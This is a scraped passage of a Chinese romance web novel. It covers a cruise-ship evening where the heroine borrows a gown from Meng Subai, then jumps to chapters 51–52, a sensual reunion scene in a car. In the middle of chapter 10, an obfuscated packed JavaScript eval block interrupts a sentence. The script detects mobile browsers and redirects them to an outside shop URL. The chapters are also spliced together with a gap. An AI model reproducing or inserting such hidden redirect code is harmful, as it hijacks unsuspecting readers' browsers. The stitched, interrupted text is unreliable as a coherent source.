桑酒也瞬间了然。 他们好像没有以后。 沉默了一阵,桑酒忽然问:“这两个星座相隔很远吗?” 孟苏白:“大概240光年。” 虽然他们刚才不过须臾的转动,可两者几乎分处天空的两端,从宇宙这一头,跨越到那一头,即便是光,也要穿越数百年才能抵达。 桑酒不禁感慨:“简直难以想象。” 就像她和他的身份差距,也遥远得无法想象。 “也没那么难。” 孟苏白将望远镜设备还原到初始状态,抬头仰望头顶那片星空。 “只要抬头,我们就能看到它们。” 10. 第 10 章 第三日,中午十二点。 与世界失联32小时。 邮轮在高雄靠岸。 通信恢复。 早上10点,Chris特地过来打了招呼,迫不及待要下船游玩,还说回来给她带礼物。 桑酒昨晚失眠,堪堪睡了不过四小时,又做了不少奇奇怪怪的梦,起床气自然不小,但也耐着性子与他挥手告别,随后关上门回床,继续蒙头大睡。 等再醒来,已是夜晚八点半,窗外海岸线城市繁华,烟火气息正浓。 却正渐行渐远。 Chris在电话那头一脸无奈吐槽,因为一场车祸,他被诊断脑震荡,要住院一个晚上观察,他只能明日乘飞机去东京汇合。 桑酒嘴角抽了抽,只觉不可思议。 如此荒诞的事情,就发生在眼前。 但好在他人没事,万幸万幸! 而更荒诞的事情,还在40个小时之后。 浮屿号即将抵达东京,而Chris却因台风登陆高雄,又被迫原地逗留了两日。 他注定这一趟是来不了东京,桑酒略感遗憾。 更遗憾的是,期待许久的红酒晚宴即将开始,她还等着Chirs带她进去,介绍这场来自全球各地的红酒盛宴呢。 看样子,能不能去参加都是问题。 好在,Chris把邀请码发给了她,说如果她感兴趣的话,可以自己找个人去。 桑酒没听懂他说的找个人,只以为他担心自己一个人太无趣。 晚宴六点开始,到晚上八点结束。 而八点半,浮屿号将起航离开东京,回到港岛。 吃完中饭,桑酒特地去甲板的无边游泳池舒缓了一下。 十二月的东京,天气虽不算寒冷,又是恒温池水,但也有些凉意。 好在今日大多数游客都下船逛京东去了,邮轮上特别清净,连泳池的池水都是干干净净的。 五点,落日正浓。 桑酒游到泳池边缘,扶着玻璃墙,视线懒懒扫过海的对岸。 漫天霞光将世界染成了蜜糖色,仿佛宫崎骏的漫画,人间治愈。 哪怕这一路拍过无数照片,她还是不想错过,拿起装在防水袋里的手机拍下这一幕,来回翻看时,又无意翻到之前Chris传送过来的视频——最后的定格。 之所以说是最后的定格,是因为那晚观星塔风太大,纵使Chris技术再好,无人机也没有稳住,直接坠入海里炸机了,所幸控制板里存储了一段珍贵的画面。 漆黑如深渊的海上,悬浮的水晶球内,隐约可见两道相依偎的身影,从开始到结束,都未曾分离。 Chris拍了很多画面,甚至还近距离聚焦怼着拍,清晰可见画面里男人低头附在她耳边低语,乍一看,两人就像在——接吻。 桑酒当时直接心跳加速,面红耳赤,完全不敢把这个视频的存在告诉那人。 明明什么都没有做,当时也不觉得有什么不妥,如今从第三视角看去,却莫名觉得暧昧羞赧。 也难怪从灯塔下去,Chris会一脸疑惑询问她:“Romy,不是说不是朋友吗?” 当时别提有多尴尬了,还好那人也没有多问,只是偏头看她一眼,意味不明。 这意味不明的眼神,延至她这两晚不可言说的梦境里,更加深邃,令人心动难耐。 视频里的画面和梦境里的画面逐渐重叠,竟好像真经历过一般,那股心慌再也挥之不去。 又好似有一股电流蔓延全身。 脑海中,那张清隽的脸愈加深刻,眉目如画。 记不清,这是第几次,无端想起他了。 桑酒垂头,沉在水里,试图让自己清醒。 怎么办。 她好像真对他,上瘾了。 不行! 不要再想了! 桑酒挣出水面,用力拍了拍脸颊,强行阻断自己的想入非非。 自从那日意识到这个问题后,桑酒就不允许自己再胡思乱想。 因为这个男人,根本不是她能抓住的。 今日过后,他就彻底从她的世界远离,天下之大,他们不可能再见面。 这两日,桑酒的脑子其实乱得很,她对旅行途中的艳遇并不感兴趣,觉得那不过是肾上腺素作祟,再加上陌生又神秘的滤镜效果,生出的一种情感,荒谬且极不负责任。 所以她必须戒掉这个莫名其妙的瘾,且要快!要狠! 桑酒以为,只要关上手机,寻一些正事做,就能浇灭这颗蠢蠢欲动的心。 所以这两日,她很少出房间,就在阳台上整理Chris授给她的红酒知识,潜心学习,偶尔在阳台上画画放松一下。 画大海,画日出日落、画星空,画男人…… 桑酒读书不是一块好料,但画画挺有天赋,还曾被美术老师选去当艺术生,不过美术生太烧钱,而且听说当画家的话,要等死后才有钱,她便婉拒了,将唯一爱好和特长掐在摇篮里。 虽然如此,也不妨碍她天赋异禀,画景栩栩如生,画人温柔细腻。 剑眉星目,鼻似山峰,唇若薄刃…… 当脑中所想悄然呈现于素描纸上,桑酒直接慌了神。 勿念勿想勿见! 旅行结束后,这里一切都只是虚假的泡沫。 她试图断绝所有幻想,把铅笔扔进海里,等扬起手中的画册时,又有些不舍。 合上画册扔到一旁,彻底沉入泳池。 桑酒觉得,要忘记一个男人,应该很简单。 她跟李佑泽相识多年,也谈了两年,从没有什么强烈的思念欲望。 没道理一个才认识不过几天的男人,不过就是长得好看了些,不至于让她念念不忘。 然而,从泳池回房这一路,看着不少从东京游玩回来的游客,桑酒心底又不禁有一丝落寞。 他应该,已经下船了吧。 他们应该,不会再见了。 桑酒低头,按照游玩指南提示,终于找到晚宴地点,却在看到门口盛装出席的男男女女时,不由停下脚步。 好像Chris有提过,这次晚宴非比寻常,是国外几家知名酒庄联名举办的,主要目的是推广一些即将在中国上市的新品,所以采取付费模式,邀请的是一些真正爱好红酒且有一定知名度的人士,包括一些美食博主和红酒达人,场面算得上高奢隆重。 原本以为,既然是付费模式,那她持有黑卡应该可以进去,可自己格格不入的便装,忽然让她没了勇气。 桑酒看了眼时间,离宴会开始还有四十分钟! 她记得来的路上,有一层甲板有卖衣服的店! 随便买一件漂亮的裙子,应该也比身上这件穿到起球的毛衣正式吧! 然而等她气喘吁吁地找到店铺时,挑来挑去也没有合适的裙子,想着还不如一件西装。 西装…… 桑酒掏黑卡的手一顿,当即放下手里的长裙,跟老板摆了摆手,转身往电梯口跑去。 如果非要说西装,房间里那一柜子熨烫整齐的男士西装岂不是更好,虽然宽松了些,但胜在价格昂贵,德国贵族老牌子,披在身上不怕被那些酒商歧视。 桑酒几乎是一口气跑回房间那层甲板,却在出了电梯时,被人一把拽住。 “Romy!?” 桑酒猛然回头,看到一张熟悉的脸。 “……Carson?” 她下意识往他身后看了一眼,却没有看到什么。 贺煜笑:“总算遇见你了,这两天怎么都不见你人影呢?” 桑酒有些心虚:“邮轮这么大,要遇见很难吧。” “倒也是。”贺煜挑眉。 这语气,听着有几分自豪。 桑酒还想再问什么,可时间紧迫,她抬手:“那您先忙,我还有事,先走了……” 贺煜却问:“看你刚才着急忙慌的,是要去干什么呢?” 桑酒也没隐瞒:“我想去参加那个红酒晚宴。” “红酒晚宴?” “嗯,不过好像要穿礼服才能进去,”桑酒迟疑了片刻,还是咨询了他,“您知道船上哪里有卖礼服的吗?” 贺煜顿了两秒,才说:“这个,我还真不知道。” “没关系,我回房间看看,”桑酒最后的希望也落空,笑着跟他挥手,“再见。” “再……见。” 直到桑酒身影隐入人群之中,贺煜才将刚藏在身后的手机放回耳边,一脸打趣:“我看这小玫瑰挺绝情的啊,她不知道你今天要下船吗?” 对面默了几秒,却问:“她刚说的晚宴,是什么?” 贺煜说:“应该是我二姐旗下公司举办的吧,你知道我二姐这个人,外貌协会骨灰级会长,办这些宴会很讲究穿着和礼仪,小玫瑰那位外国友人好像还滞留在高雄,没有舞伴她应该进不去,不过你放心,你不在我也会照顾好小玫瑰的,怎么说,我跟Romy也是喝过酒的朋友,你就放心……” 然而他话还没说完,对面就直接挂断了电话。 贺煜看着屏幕呵了一声。 也不知道是谁,明明大早就可以下船离开,第一次做事拖延,到现在还没走。 “Kingsley,想跟人告别,就直接点,为什么不留下她的电话?” 语音一发过去,贺煜就笑得一脸看好戏。 他可太喜欢看孟苏白吃瘪了,尤其是为了一个女人。 - 五点三十五分,桑酒回到房间。 拉开衣帽间衣柜,面对那一排排的男装有点头大。 她一边扎头发,目光一边逡巡在那些叫不出品牌名但一看就很贵的西装衬衫上。 白色太过显摆,黑色衬衫也不会显得太宽松随意,裤子只能穿自己的,也不知道会不会被人瞧出什么…… “阿嚏!” 冷不丁打了个喷嚏,桑酒揉了揉鼻翼,有点痒。 许是下午泡温泉太久了,有种要感冒的预感。 顾不上太多,她踮起脚,取下昨晚穿的那件黑色衬衫。 她还是毕竟喜欢这款,版型修身一点,缎面面料一看就很奢华,稍微熨烫一下就可以。 桑酒正要去拿熨烫机时,忽然听到门铃声响。 她纳闷,折身去到门口,透过猫眼去看来人。 视线扫到门外的身影时,呼吸莫名断了半截。 过了好几秒,桑酒才平复呼吸,冷静地打开门,看到孟苏白时,故作惊讶:“苏先生?你……怎么来了?” 孟苏白:“方便进来吗?” “当然。” 她侧身,让他进来,内心有些小纠结。 快六点半了,迟到还能进去吗? “听Carson说,你需要一套礼服?” “啊?”桑酒猛然抬头。 他突然停下,害得她差点撞上他后背。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16742570|189713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠得太近,她几乎嗅到他身上独有的乌木雪松香,让人心安的味道,令人着迷。 “嗯,”她下意识后退了一步,“不过不用了,我想到办法了,你觉得,我穿这套衣服怎么样?” 孟苏白盯着她看了几秒,点头:“很好看。” “那……” “等我一下。” 桑酒不明所以,只见他转身走向大开的衣柜,目光似扫了一眼那排西装,最后落在左下方的保险柜,蹲下身,输入密码。 下一秒,只听“滴”的一声,保险柜被打开。 桑酒目瞪口呆。 保险柜空间不小,装了不少东西,孟苏白从最下方抽出一个超大的银色礼盒,看着有些沉。 “今天的晚宴对着装要求很高,西装虽然很好看,但可能不太适合这个场合,正好,我从国外给自家小妹带了一件礼服,不过她在外地,没来得及送给她。” 他将礼盒放置在一旁的沙发上,回头看她:“试试吧。” 桑酒连忙摇头:“不……不用了,这不是你送给你小妹的礼物吗,我怎么能……” “无妨,”孟苏白温声说,“她礼服多的是,下次见面,估计要很久以后,这个礼物也未必送得出去。” “可是,这样不好吧……”虽然很心动,桑酒还是觉得不好意思。 或者说,自从他出现在眼前的那一刻,她的心就好像乱了一样,思绪发直,无法思考。 “宴会马上要开始了。”孟苏白没有给她再拒绝的机会,直接拆了包装盒。 修长如玉骨的手指层层剥开里面的牛皮纸,露出里面最后一层防尘袋包装,最后被他单手拎了出来,径直交到她手上。 “去换上吧。” 桑酒:“……” 怀里的礼服,沉甸甸却又蓬松柔软的手感,让人连呼吸都小心翼翼起来。 她说不出话来,只是回头看了他一眼,似有千言万语,却不知从何说起。 孟苏白也没有说话,只是微抬下巴,目光含笑。 桑酒深吸一口气,不再纠结,往浴室走去。 既然命运注定,从此再无交集,无论如何都不会改变。 那不如随心所欲,不再克制。 因为和这个人相处的每一刻,仿佛得到了救赎,让她觉得,这一生的不公和痛苦都可以忽略不计。 桑酒明白,任何事情,太过追求结果,往往会无趣。 当下快乐,才重要。 她小心翼翼拉开防尘袋拉链。 那是一件明黄色轻纱礼服,明艳大方,腰身绸缎丝滑如阳光般温暖,曳地裙摆则是独特繁琐的镂空蕾丝,绣着立体的玫瑰花朵,质感高级,浮光跃金,穿上它,仿佛化身童话里的公主,置身于一个梦幻世界。 这样漂亮的裙子,桑酒只在电视上见过——星光璀璨的晚宴,珠光宝气的女明星,身着华服,高贵美丽。 桑酒也是第一次穿这种礼服,又因为抹胸的设计,肩背露出一大片,难免有些放不开,撩起裙摆抱在胸前,又补了一下妆,迟疑很久,才鼓起勇气推开门。 “好……了。” 她几乎不敢抬头。 曾以为,穿这样隆重,只会在结婚那一天。 而此刻,她忐忑的心,不亚于做一个新娘。 对面仿佛沉默了半个世纪。 许久才给她回应。 “很漂亮。” 孟苏白走过去,站在桑酒一步远的位置,仔细看,语气不掩惊艳与欣赏,眉眼间却暗藏一丝落寞。 “黄色很衬你,明亮耀眼,就像古希腊神话里的太阳女神。” 他从不用虚头巴脑的空话去赞美一个女性,此刻却忍不住将她奉为神明。 短短几日,他已见过她很多样子,见过她失声痛哭的模样,见过她被人惹毛发飙,见过朝霞里她绝美的身影,见过她醉后的憨态可掬,也见过她躲在被窝黯然伤神抬头时脸颊挂着的两行泪,记得她谈及未来时的自信洒脱,也记得玻璃桥上因恐高症被吓得眉蹙成一团腿软得走不了路的她却依旧倔强到底,还有夜空下那抹比北极星还要明亮耀眼的笑容。 孟苏白第一次遇见这样充满矛盾的姑娘,明媚鲜活勇敢,却又充满忧伤。 明媚是她的脸庞,忧伤的是她的眼神。 他在她身上看到了许多,鲜活的傲气,无畏的精神。 明明是萍水相逢,可关于她的每一帧,似乎都烙印在脑海。 邮轮终会靠岸,而这一刻,如同电影落幕,结尾是她最美的样子。 一切都很完美。 她会很开心。 而他,会永远记住这一幕。 即便此后再无交集,他也不会遗憾今天的陪伴。 桑酒没有发觉男人语气异常,因为在她抬头看去的那一刻,她眼里的震惊更甚。 孟苏白不知为何也换下了冲锋衣,一身正装,黑衬衫黑西裤,袖子挽到小臂,青筋线条若隐若现,领口解了两粒扣,微微敞开,配上那张天生贵胄的脸,简直帅气到人神共愤,禁欲十足的气质,又不失性感和不羁。 桑酒还是第一次看他穿西装,只一眼就仿佛要无法呼吸。 她甚至不能多看两眼,不敢想象被包裹在黑色衬衫下的窄腰,藏着几块腹肌。 然而最让桑酒窒息的是,这套衣服,正是她最近经常穿的那套。 关键是那件黑色衬衫,她昨晚才当睡衣穿过! 没洗…… 50-60 第51章 桑酒脑中一片嗡响, 根本没有听到孟苏白在说什么。 被他灵活的舌尖搅动风云时,满脑子回想的是刚才包间里,他仰头含着烟, 吞云吐雾时的勾人模样。 她现在挺想回答俞三禾之前的问题。 她图他的颜, 图他身子。 想亲他眉间那颗眉心痣, 想亲他的薄唇, 想念他骨节分明的长指和温暖的怀抱。 四年前是, 四年后是。 尤其今晚,这个男人直接把她迷得三迷五道的,魂都被勾走了。 桑酒感觉自己也成了他嘴里的香烟, 被吮吸着抽空一切, 连头皮都跟着发紧发麻。 “泱泱。” “跟他分手。” 在她即将窒息,下意识挣扎着推他肩膀时, 手腕被他一把攥住, 轻抬,按在冰冷的墙面,胸前起伏也随之高耸挺起,紧紧贴着他的胸膛。 他含着她舌尖沉哑低语时, 桑酒感觉自己忽然就腿一软, 身体情不自禁往下滑。 唇稍稍分离些许。 孟苏白睁开深邃迷蒙的眸,手臂用力,将她几乎瘫软的身体轻轻一抬的同时, 曲起膝盖悄无声息分开她的腿, 轻轻向上一抵。 适时承住她娇软的身子。 “唔……” 由他带来的熟悉又陌生的酥麻感, 瞬间涌遍全身,那些被刻意尘封的画面也一帧一帧浮现。 桑酒没能控制住低声溢语,却又羞到瞬间清醒, 双手被他按在头顶无力挣扎,只有腰臀部位还能稍微自由,却是越挣扎,并得越紧。 男人的吻也越凶狠。 直至包里的手机铃声突兀响起,一遍又一遍。 身后脚步声一阵,像是有人循着铃声在靠近。 “孟苏白……” 桑酒几乎要哭出声,也顾不了那么多,回咬了他上唇一口。 肆意的吻这才从她嘴里依依不舍撤退,又绕到颈肩,力度确实丝毫没有减退,反而啃咬得更加凶狠,像是要在那片雪白的圣洁之地,留下痕迹。 孟苏白松开禁锢,她的手无力垂落时,身体也软软跌入他怀抱,被他稳稳抱住。 她大口大口呼着气,像溺水的猫儿终于游上岸,浑身冒着湿意。 孟苏白搂着她的腰,将她身体扶好坐稳在自己膝上,下巴抵在她肩上平息静气。 桑酒却觉得更加煎熬。 她已经感觉到自己要泛滥成灾。 他的西裤,原本平整无痕到光泽,也不知不觉间染了褶皱和湿润。 桑酒纹丝不敢动,总觉得下一秒就会缴械投降。 她想起四年前倾泻而出的画面,只觉羞愧难当。 这种隐秘的感觉,恍如跌进深渊下坠,害怕却难以克制愉。悦。 两人谁也没有出声,气息沉沉贴着,几乎能听到彼此的心跳声,直到铃声再次响起,桑酒慌乱去摸手机,看到来电提醒,又是一愣。 “不接吗?”孟苏白嗓音沙哑在她头顶响起。 桑酒深吸一口气,手几乎是颤抖着按了接听,贴着耳面。 “喂……” 刚吐出一字,她便被那道软绵到陌生的语气吓得闭上嘴,不敢再发声,甚至连呼吸都可以压制了些。 “桑桑,你带孟先生去哪了?还回来吗?”李佑泽疑惑的声音从手机清晰传出。 桑酒下意识抬眸,对上孟苏白审视的目光。 她捂着嘴,深吸一口气后,再开口。 “工作突发状况,有点棘手,所以……”孟苏白腿微微一动,她情不自禁轻喘一口气,紧闭着眼低头,又继续,“你们自己玩吧,这边很忙,晚点给你电话。” 她迅速说完,挂断电话,心却久久未能平息。 “泱泱,你撒谎了。” 孟苏白的气息含笑,再次滚烫落在耳畔。 桑酒下意识推开他:“放我下来。” “确定?你站得稳?”孟苏白揉了揉她耳垂,动作温柔而细致,他低声说,“你浑身都在发抖,泱泱。” “孟苏白!” 眼见她真的发怒了,孟苏白无奈抽出腿。 缓慢而沉重的动作,更是激得桑酒山崩海啸,心脏紧缩。 双脚着地的一瞬,又是一阵眩晕。 孟苏白伸手揽住她腰,却被她无力推了推,虽然没有推开。 “我想出去。” 这个地方虽然较为隐蔽,内心也有千言万语要跟他说,但她不想在这样的地方,也生怕被人发现。 如果还是熟人发现,那可真不好收场。 “能走吗?”孟苏白想去抱她。 桑酒猛地推开他:“当然……” 只是一个吻而已。 还不至于。 她脸红羞愧得几乎抬不起头来,快步跑了出去。 孟苏白低笑一声,长腿一迈,跟了上去。 “泱泱,别再走错了。”- 有孟苏白带路,走出会所倒是很快,也没有遇见李佑泽那群人,侍应生恰好将车子开出来。 孟苏白喝了酒,自然不能开车。 桑酒有些迟疑,站在车旁。 孟苏白拉开驾驶门,偏头朝她看去:“不是说送我回去?” “……我现在,不适合开车。” “你没喝酒。” “可我没法平静下来。” 孟苏白勾了勾唇:“好,我让云叔过来。” 车子停到一旁露天位置,桑酒上了车后,犹豫着要怎么解释刚才的失控,可脑子一片混乱的她,完全不知该如何开口。 孟苏白探手过来牵住她的手,温声喊她:“泱泱。” 她慌乱抬头看了他一眼,开口就是:“你犯规了。” 孟苏白挑眉,愿闻其详。 “你明明说了,我还有最后一次机会的。” 却一点点防备都没有给她。 “嗯,我犯规了,”孟苏白握起她的手,抵在下颚,一脸知错不改,“可是泱泱,这不能怪我,看到他和你那般亲近,我就一刻也忍不了了,不想再做裙下君子了。” 他直白的一番话,直接惊得桑酒语无伦次了:“你……” “嗯,我吃醋了。”孟苏白大方承认,“昨天,或者那次露台烧烤,甚至更久远一点,我们重逢那日。” 他如此坦然,桑酒一时无言以对。 脑海里又浮现起俞三禾的三字箴言。 见她沉默,孟苏白又伸出另一只手托着她的后脑勺,拇指摩挲着她的脸颊,轻柔又克制,像揉小猫咪那样。 “每次看到你和他打闹的样子,我就嫉妒到发狂,如果不是你脖子受伤,昨晚我就想吻你。” 桑酒屏息,咬了咬唇:“你介意这些?” “很介意。” 他没有假装自己大度,而是直接说出内心话,神情很受伤的样子……桑酒脑子有一瞬间的宕机,就那样直勾勾地盯着他,然后说出了俞三禾教她的那番话。 “可我跟他谈了很多年……” 话出口,她就后悔了,想收回已然来不及了……果然,撒谎是需要一定勇气。 桑酒现在几乎不敢与他对视。 可孟苏白偏偏要抬起她的脸颊,让她直直看向自己,音调愈沉愈缓。 “桑酒,我想我有必要帮你纠正一下,什么才叫谈恋爱,不是嘴上说两个人是情侣就是情侣,你眼里有过他吗?你心里惦记他吗?你有时刻想亲吻他的冲动吗?” 桑酒心头一颤,缓缓蹙眉,她这笨拙的演技竟然没有瞒过他么? “我说过,每个人谈恋爱的方式不一样,我就喜欢这样的。”她扭过头,还在嘴硬,“我们青梅竹马,我觉得跟他在一起很自在就行了,反正我又不稀罕那些!” “不稀罕哪些?”虽然青梅竹马四个字仿佛利剑刺入心脏,但孟苏白还是抓住了她的话重点。 桑酒骤然发现自己又口嗨过头了,说了一些乱七八糟的浑话,心里暗骂了俞三禾一句,心一虚,抿紧唇不再说话。 孟苏白却俨然听懂了她的话,笑容有几分宠溺邪魅。 他头又低了两分,声音几乎是贴着她耳畔。 “那就和他分手,泱泱。” “我会让你知道,自己稀不稀罕。” “你这样撬人墙角,很不道德。”桑酒红着脸,毫不客气指出。 “但凡他有一丁点配得上你,我都不会撬得这么心安理得。”孟苏白眸光微眯,势在必得的语气,加上今日这身装扮,完全是斯文败类的阴暗味道。 “你怎知他配不上我?”桑酒还是忍不住反驳,“我跟你说过,我和他最合适了!” 孟苏白也不生气了,语气平静得很:“泱泱,男人看男人的眼光不会错,他对你不忠诚,难道你看不出来吗?正经的男人是不会出入这种会所的。” 桑酒抽出被他握着的手,身子也后退了一步,目光淡淡将他上下打量一番。 “可我看孟先生今晚,也熟练得很,抽烟喝酒撩小姑娘,果然我男朋友说得没错,我对孟先生的了解,也只是浮于表面呢。” 孟苏白笑笑:“烟是你男朋友让我抽的,酒是你男朋友倒的,至于小姑娘……也是你男朋友找的,我若拒绝,岂不拂了他面子?” 他一口一个男朋友,令桑酒越发心虚,偏过头不看他:“孟先生不愿意的事情,谁敢强迫?我看你明明就很享受。” 孟苏白无声挑了下眉,倏地抬手,将她拉了回来,扣在自己怀里,抱着不放。 声音沉哑含笑说道:“吃醋了?” “才没有。”桑酒反抗。 自然无效。 孟苏白将她抱得很紧,完全不给逃离的机会。 挣扎间,又听到他无奈低语:“我以为,泱泱就喜欢这样的。” “我才不喜欢!” “那今晚一直盯着我看的,是谁?”孟苏白在她耳边吐气。 桑酒猛然抬起脑袋,张口就来:“我在看我男朋友!” 孟苏白垂眸看她,笑容散漫:“是吗?那你说说,他今天穿的什么衣服。” 桑酒身子一滞,瞬间答不上来。 她今晚是一个正眼都没给李佑泽。 “要不再仔细想想?”孟苏白甚至还好心给了她时间。 桑酒受到蛊惑闭上眼,却满脑子是他冷峻的身影。 眉头一蹙,忽觉他的气息沉沉落下,耳后一片炽热滚烫,听见他哑声唤她小名。 “泱泱。” 桑酒猛地睁开眼,看着近在咫尺的侧脸,人彻底傻了。 她觉得自己要疯了,眼底是克制不住的痴迷游离,呼吸也渐渐凌乱。 “泱泱,我很喜欢你的眼睛,喜欢它只落在我身上的目光,喜欢它扫过我身体每一寸时着迷的样子,跟四年前那个夜晚,一模一样……” “你胡说什么……什么四年前……” 提起四年前,桑酒心虚得不敢看他的眼。 “乱说?”他的声音低哑中带着几分惩罚,“泱泱,你还要骗我到什么时候?” “我怎么骗你了?” “还要撒谎,小骗子!”孟苏白几乎是攥着她的脖颈,俯身,一字一句询问,“千杯不醉,从不断片?桑老板的酒王称号呢?” “那是……他们胡说的……”桑酒气极,心里骂了李佑泽千百句王八孙子! 孟苏白却显然不再信她了,毕竟前几天,她英勇为他挡白酒拎壶冲的画面还历历在目。 “桑酒。” 孟苏白的声音不同往日的低沉,“四年前,你说你喝醉断片了?可如果我没记错的话,泱泱也只是喝了几瓶红酒而已,不至于。” “我是真断片了,什么都不记得了!”桑酒欲哭无泪。 “是吗?”孟苏白的声音由沉转缓,“那我们就一起,好好回忆。” 好好回忆? 这种事情要怎么回忆? 桑酒顿时如泄了气的皮鸭子,她甚至慌乱地瞥向车窗外,希望云叔能突然出现。 但孟苏白根本不给她机会逃跑,也笃定了不让任何人打扰,抬手按下隔离板和车窗的遮光帘,将她所有求救信号都切断,关在属于他的世界里。 “孟苏白……”- 当所有视线切断,桑酒陷入充满他气息的密闭空间里,既焦急,又兴奋。 是的!兴奋! 桑酒可耻地发现自己隐隐有着期待和兴奋! 孟苏白霸道地靠过来时,她已经毫无退路,只能任凭他握起自己的手,虔诚抵在他的眉心。 “让我想想,桑桑那晚是从哪里开始的……这儿?” 桑酒指尖落在那颗眉心痣,呼吸一顿,已经说不出话来,身体也如同被他魅惑到,任他操控,感受着那颗眉间痣的温度。 他声音沙哑又磁性,眼里幽深暗炙的光芒,昭示着呼之欲出的疯狂占有欲。 “你以前就很喜欢它,第一次亲我,便是这里。” 桑酒感觉身上像通了电似的,从脚趾一直酥麻到指尖、头皮,她红着脸,即便到了这个时刻,还在摇头极力否认:“你别乱说。” 话落,她又被孟苏白扣着手指,落在他鼻梁。 高挺的鼻梁骨,就连凸起的弧度都是性感迷人的,指腹仿佛在经过一座滑滑梯,一落一跃,直接跃到他那张薄唇上。 他的唇形也很完美,很适合接吻。 刚被她咬出的那道小口子已经结痂,却丝毫不影响唇瓣的柔软,像棉花糖。 可桑酒知道,它吻起人来有多凶狠。 她目光渐渐迷离,循着指尖抚过的地方,下意识咽了咽口水。 俞三禾说得没错,她就是一个大色女,此刻正垂涎他的美色。 指尖沿着下颚线一路直下,落在喉结处,孟苏白仰起头,故意吞咽了一下,带她回忆四年前被她遗忘的画面。 “泱泱还喜欢这里,也亲了它。” 喉结快速的上下滚动,让桑酒浑身一颤,像是感受到了另一种不可言说的强大力量。 指尖探入那解开的领口,继续向下蔓延,一路滚烫丝滑,手感熟悉又怀念。 桑酒下意识闭上眼,想要抽回手,却被他按得极紧,贴着锁骨,往下探索。 紧绷的肌理和实感,几乎要吞灭桑酒的理智。 “孟苏白!” 她暴躁地低下头,几乎垂到胸前,又气又急。 他怎么可以这么坏! 竟然来色诱这一招! 孟苏白将她搂入怀,沉闷的笑声透过胸膛传入她泛红的耳。 “泱泱,你的身体反应,骗不了人。” 桑酒故意气他:“孟先生这样好的身材和颜值,谁看了不爱?” “既然泱泱喜欢,那就跟他分手。”孟苏白也只是笑,攥着她的手覆在胸前,奔向腹肌…… “以后这儿、这儿……通通都是你的。” 桑酒太阳穴突突跳:“……” 真是要命! 他怎么能顶着这样一张高冷禁欲的脸,说出如此伤风败俗的话? “他每天沉迷于牌馆,抽烟喝酒熬夜样样不落,存款也几乎为零,”提起某人,孟苏白眼里的嫌弃几乎是成指数增长,“可我不一样,泱泱,我所有身家都可以给你,也没有任何不良习惯,每天五点半起床,六点健身,不抽烟喝酒熬夜……不,如果泱泱想要熬夜,我也可以奉陪。” “孟苏白!” 桑酒算是发现了,名字成了他闭嘴的句号。 孟苏白却被她炸毛的样子可爱到,抬手帮她整理头发,语气过分执着。 “所以,什么时候分手?” “你总要对我负责的。”—— 作者有话说:恭喜孟先生,色诱成功[狗头叼玫瑰] 第52章 “负责?”桑酒瞪大了眼, 一脸震惊。 “当然,”孟苏白将她拉近,额头几乎与她相抵, 方寸之间皆是两人的气息和温度, “泱泱, 谁教你把人睡了就跑路的?” 桑酒心虚低下头。 没有人教她, 是她自己怕了。 “我以为, 你是可怜我。” 车内的气温逐渐上升,热得她后背涔涔。 “可怜?”孟苏白也是气笑了,“泱泱, 你觉得一个男人可怜一个女人, 就是要跟她上床吗?” 桑酒极力辩解:“我们没……还没有!” 话题岔开太突然,孟苏白也鲜少地怔楞住了, 等反应过来她在说什么时, 笑意更深,唇贴在她耳后低语:“还嘴硬?这不是记得挺清楚的吗?” 桑酒捂着脸啊了一声,要被自己的蠢言蠢语气死了,她将脑袋埋在他胸前, 气得不行。 温柔的吻又落在耳边, 孟苏白将她耳垂再次含住,低笑耳语:“看来,泱泱对当年我们未完成之事, 耿耿于怀, 我不介意今晚补上。” “孟苏白!” 桑酒用脑袋轻轻撞击他胸膛, 试图阻止他的胡言乱语,却惹得男人笑声更深。 “泱泱,”孟苏白笑完过后, 下巴搁在她头顶,温厚的掌心覆在她后脑勺,一下又一下轻柔抚着,直到她情绪平复。 “抱歉,四年前我没有第一时间说开,是真以为你断片了,怕吓到你;让你去酒店等我,是想处理完当时棘手的联姻事情,再跟你坦白身份;我当时逃离家族联姻,也是因为不想介入家族企业,我有自己的梦想,只是我阿爷不同意,想用联姻绑住我;我当时跟阿爷做了约定,我去联合国三年,回来帮他打理公司三年,只要业绩达到他的目标,三年后,我自动脱离孟家,到时候,再没有什么能束缚我。” 桑酒不禁好奇:“我也想知道,你为什么不喜欢接管家族企业,会想到跑非洲去当联合国顾问呢?” “这件事情,以后我再慢慢告诉你。”滚烫的气息落在她眉心:“泱泱,你只需要知道,你一直都在我的人生规划中,即便你躲着我的这四年,我也一直计划着要回来找你。” “对不起……” 桑酒瞬间热泪盈眶,她不知道,原来在他们分别的这四年,他一直有在为他们的未来计划。 可这四年,她又在做什么呢? 出国游学、陪家人旅行、开酒馆和前男友复合…… 桩桩件件都与他无关。 桑酒很难想象,重逢那日,他看到她坐在李佑泽副驾驶时,有多难过。 “为什么要抱歉?”孟苏白吻去她的泪,一点一点向下,落到她唇上,亲了亲,“泱泱,我很高兴这四年,你过得很好。” 桑酒忍着泪水,没有吭声。 其实一点都不好。 她的内心很孤独,永远是空洞洞的,像在等着一位不归人。 不过这些都不重要了,她等到他了,一切都过去了。 她小心翼翼回吻他。 一如既往的笨拙青涩,像个新兵蛋子。 这不禁让孟苏白怀疑,她真的有五六年的恋爱经验? 他钳住她的下巴,偏头加深这个吻,咬着她的唇,勾着她的舌尖,教她换气、吮吸…… 温热的掌心拨开风衣外套,露出肩膀。 打底的丝质衬衫犹如肌肤光滑,却隔着体温终不畅快,扣子轻而易举被扯开,温热从领口悄然探入,覆上那蜿蜒锁骨。 “唔……” 孟苏白自桑酒唇舌撤出时,她还尤有不满,直到他的呼吸转移,一路直奔。 桑酒猛然察觉什么,却为时已晚。 蕾丝花纹被扯开弹跳出时,桑酒只觉得自己心脏仿佛也跟着跳了一下,可下一瞬,她又为自己的身体反应感到羞耻。 为什么? 